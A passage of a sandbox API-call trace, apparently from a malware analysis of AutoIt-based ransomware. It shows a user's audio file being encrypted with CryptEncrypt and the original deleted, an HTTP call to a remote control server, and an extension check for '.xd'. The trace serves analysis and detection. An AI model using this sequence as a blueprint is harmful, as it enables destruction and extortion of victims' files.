wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.105] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.105] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.105] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.107] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0065.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16216c0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0065.107] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0065.107] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xebb8, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xebc0) returned 1 [0065.107] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.107] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.107] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.107] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.107] CharLowerBuffW (in: lpsz="byte[60353]", cchLength=0xb | out: lpsz="byte[60353]") returned 0xb [0065.107] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.125] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.125] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.125] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.125] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0065.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16219a8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0065.126] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0065.126] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17d0b18*, pdwDataLen=0x130e618*=0xebb8, dwBufLen=0xebc0 | out: pbData=0x17d0b18*, pdwDataLen=0x130e618*=0xebc0) returned 1 [0065.126] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.126] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.126] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.126] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.126] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.126] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.126] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0065.127] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.127] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0065.127] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.127] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.128] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.128] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.128] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0065.128] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.128] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.128] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.132] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.132] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.132] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.132] WriteFile (in: hFile=0x3bc, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0xebc0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0xebc0, lpOverlapped=0x0) returned 1 [0065.134] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.134] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.134] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0065.134] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.134] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.134] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0065.134] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0065.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621438, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0065.134] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0065.134] CryptDestroyKey (hKey=0x164c530) returned 1 [0065.134] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.135] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.135] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0065.135] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.135] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0065.135] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0065.135] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0065.135] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.135] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.135] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0065.135] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.135] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.135] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.135] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.135] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.135] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0065.135] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.135] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0065.135] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.135] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.135] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.135] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.136] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0065.136] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.136] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.136] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0065.136] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0065.136] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0065.136] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0065.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0065.136] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0065.136] CryptReleaseContext (hProv=0x17ab550, dwFlags=0x0) returned 1 [0065.136] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.136] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.136] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0065.136] FreeLibrary (hLibModule=0x74c60000) returned 1 [0065.136] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.136] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.136] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.137] CloseHandle (hObject=0x2ac) returned 1 [0065.139] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.139] CloseHandle (hObject=0x3bc) returned 1 [0065.143] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.144] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0065.144] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", lpFilePart=0x0) returned 0x51 [0065.144] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zhbdg\\r4ruy899hjdt5dygu9lj.mp3")) returned 0x20 [0065.144] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c630 [0065.144] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\r4RUy899HJdT5Dygu9LJ.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zhbdg\\r4ruy899hjdt5dygu9lj.mp3")) returned 1 [0065.146] FindNextFileW (in: hFindFile=0x164c630, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0065.147] FindClose (in: hFindFile=0x164c630 | out: hFindFile=0x164c630) returned 1 [0065.147] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0065.147] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.147] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.147] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.147] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0065.147] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0065.147] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.147] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0065.147] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0065.147] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0065.147] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0065.147] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d90, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d90, lpdwBufferLength=0x130ef8c) returned 1 [0065.148] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0065.148] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0065.148] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0065.148] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0065.148] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0065.148] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0065.148] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0065.149] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0065.149] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0065.149] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0065.149] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0065.149] CloseHandle (hObject=0x0) returned 0 [0065.149] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.149] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.149] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.149] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.149] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.149] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.149] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.149] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.149] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.149] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.149] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.149] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.149] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.150] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 